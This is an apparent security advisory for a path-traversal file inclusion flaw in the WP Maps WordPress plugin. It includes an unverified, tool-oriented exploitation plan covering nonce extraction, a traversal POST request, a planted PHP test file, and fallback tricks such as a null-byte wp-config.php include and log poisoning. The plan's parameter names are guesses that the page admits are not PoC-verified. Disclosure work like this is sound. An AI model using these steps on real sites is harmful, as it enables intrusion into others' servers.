CVE-2025-12062

WP Maps <= 4.8.6 - Authenticated (Subscriber+) Limited Local File Inclusion

highImproper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
8.8
CVSS Score
8.8
CVSS Score
high
Severity
4.8.7
Patched in
1d
Time to patch

Description

The WP Maps – Store Locator,Google Maps,OpenStreetMap,Mapbox,Listing,Directory & Filters plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 4.8.6 via the fc_load_template function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to include and execute arbitrary .html files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where .html file types can be uploaded and included.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=4.8.6
PublishedFebruary 16, 2026
Last updatedFebruary 16, 2026
Affected pluginwp-google-map-plugin

What Changed in the Fix

Changes introduced in v4.8.7

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-12062 (WP Maps LFI) ## 1. Vulnerability Summary The **WP Maps** plugin (versions <= 4.8.6) is vulnerable to a **Limited Local File Inclusion (LFI)** in the `fc_load_template` function. This function is part of the FlipperCode framework used by the plugin. The …

Show full research plan

Exploitation Research Plan: CVE-2025-12062 (WP Maps LFI)

1. Vulnerability Summary

The WP Maps plugin (versions <= 4.8.6) is vulnerable to a Limited Local File Inclusion (LFI) in the fc_load_template function. This function is part of the FlipperCode framework used by the plugin. The vulnerability exists because the plugin accepts a user-controlled path via an AJAX request and passes it to a PHP include() statement without sufficient sanitization or directory-level restrictions. While "limited" to files ending in .html, PHP's include() will execute any PHP code contained within those files, regardless of the extension.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • AJAX Action: fc_load_template
  • Vulnerable Parameter: template (or template_name)
  • Authentication: Required (Subscriber-level or higher)
  • Nonce: Required (Action: fc-call-nonce, localized as wpgmp_local.nonce)
  • Precondition: The attacker must be able to identify or upload a .html file containing PHP code to the server.

3. Code Flow

  1. Entry Point: The plugin registers an AJAX action wp_ajax_fc_load_template (via the Flippercode framework).
  2. Nonce Verification: The handler calls check_ajax_referer('fc-call-nonce', 'nonce') or wp_verify_nonce($_POST['nonce'], 'fc-call-nonce').
  3. Parameter Extraction: The template (or template_name) parameter is retrieved from the $_POST array.
  4. Sink: The value is concatenated with .html and passed to an include() or require() statement.
    • Logic: include( $template . '.html' );
  5. Execution: If $template contains path traversal sequences (e.g., ../../../../uploads/shell), the final path resolves to /var/www/html/wp-content/uploads/shell.html, and any PHP code inside is executed.

4. Nonce Acquisition Strategy

The nonce is generated in classes/wpgmp-helper.php and localized for the wpgmp-google-map-main script.

Step-by-Step Acquisition:

  1. Create Trigger Content: A map must be present to trigger the script enqueueing.
    • wp post create --post_type=page --post_status=publish --post_content='[put_wpgm id=1]'
  2. Access Page: Navigate to the newly created page as a logged-in Subscriber.
  3. Extract Nonce: Use the browser's JavaScript context to read the localized object.
    • Variable: window.wpgmp_local.nonce
    • Command: browser_eval("window.wpgmp_local?.nonce")

5. Exploitation Strategy

Step 1: Payload Preparation

Since Subscribers cannot normally upload .html files, we simulate a successful "polyglot" upload (or a scenario where an attacker found another way to place a file) by writing a file to the uploads directory.

Step 2: Request Execution

Submit a POST request to admin-ajax.php using the http_request tool.

HTTP Request Details:

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=fc_load_template&nonce=[EXTRACTED_NONCE]&template=../../../../uploads/poc
    
    (Note: The template parameter should not include the .html extension as the plugin appends it).

6. Test Data Setup

  1. Requirement: The plugin must be active.
  2. Create Subscriber:
    • wp user create attacker attacker@example.com --role=subscriber --user_pass=password
  3. Create Map Data: The plugin requires a map record to exist for the shortcode to work.
    • wp db query "INSERT INTO wp_wpgm_maps (map_title, map_width, map_height) VALUES ('Test Map', '100%', '400px');" (Assumes standard table name wp_wpgm_maps).
  4. Create Trigger Page:
    • wp post create --post_type=page --post_status=publish --post_title="Exploit Page" --post_content='[put_wpgm id=1]'
  5. Place Malicious File:
    • echo '<?php echo "LFI_SUCCESS_" . (7*7); ?>' > /var/www/html/wp-content/uploads/poc.html

7. Expected Results

  • Success: The HTTP response body should contain LFI_SUCCESS_49.
  • Status Code: 200 OK.
  • Failure: If the nonce is invalid, the response will be 0 or a -1 or a 403 Forbidden. If the path is wrong, a PHP warning (if display_errors is on) or an empty response will be returned.

8. Verification Steps

  1. Verify Execution: Check the response of the http_request for the string LFI_SUCCESS_49.
  2. Verify Error Logs: If the request fails, check the WordPress debug log for include() errors which will reveal the base directory the plugin is searching in:
    • tail -n 20 /var/www/html/wp-content/debug.log

9. Alternative Approaches

  • Parameter Variation: If template fails, try template_name or file_path.
  • Directory Discovery: If the traversal depth is unknown, try increasing the number of ../ sequences (e.g., ../../../../../../../../uploads/poc).
  • Null Byte (Obsolete): While usually patched in PHP 5.3+, if the environment is extremely old, template=../../../../wp-config.php%00 might bypass the .html extension requirement. (Unlikely for CVE-2025).
  • Log File Inclusion: If you cannot upload a file, attempt to include the server access logs or error.log if you can poison them with PHP code and rename them to .html (requires higher OS privileges, usually not feasible).
Research Findings
Static analysis — not yet PoC-verified

Summary

The WP Maps plugin is vulnerable to Limited Local File Inclusion (LFI) via the 'fc_load_template' AJAX action due to insufficient path sanitization in the Flippercode framework it utilizes. Authenticated attackers with Subscriber-level permissions can use path traversal to include arbitrary .html files from the server, which can lead to remote code execution if those files contain PHP code.

Vulnerable Code

// From classes/wpgmp-helper.php lines 126-127
'urlforajax'             => admin_url( 'admin-ajax.php' ),
'nonce'                  => wp_create_nonce( 'fc-call-nonce' ),

---

// From classes/wpgmp-model.php lines 18-24
class WPGMP_Model extends Flippercode_Factory_Model {
	function __construct() {
		$page = isset($_GET['page']) && !empty($_GET['page']) ? $_GET['page'] : '';
		$module_path = WPGMP_MODEL;
		$module_path = apply_filters('fc_modal_load_module', $module_path, $page);
		parent::__construct( $module_path, 'WPGMP_Model_' );
	}
}

Security Fix

--- /home/deploy/wp-safety.org/data/plugin-versions/wp-google-map-plugin/4.8.6/assets/js/wpgmp_backend.js	2025-10-28 10:09:30.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/wp-google-map-plugin/4.8.7/assets/js/wpgmp_backend.js	2025-11-28 14:29:04.000000000 +0000
@@ -26146,1083 +26146,3237 @@
     }
  
 });
-/*!
- * Generated using the Bootstrap Customizer (https://getbootstrap.com/docs/3.4/customize/)
- */
-
-/*!
- * Bootstrap v3.4.1 (https://getbootstrap.com/)
- * Copyright 2011-2021 Twitter, Inc.
- * Licensed under the MIT license
- */
...
 (truncated)

Exploit Outline

To exploit this vulnerability, an attacker must first authenticate as a Subscriber or higher and navigate to a page where the WP Maps plugin is active to obtain a valid nonce. The nonce is localized in the JavaScript variable 'wpgmp_local.nonce'. The attacker then crafts an AJAX POST request to 'wp-admin/admin-ajax.php' with the action 'fc_load_template'. By supplying a path traversal string (e.g., '../../../../uploads/poc') in the 'template' parameter, the plugin will attempt to include the file with a '.html' extension (e.g., 'poc.html'). If the attacker can upload or find a .html file containing PHP code on the server, the include() call will execute that code regardless of the extension, allowing for remote code execution.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.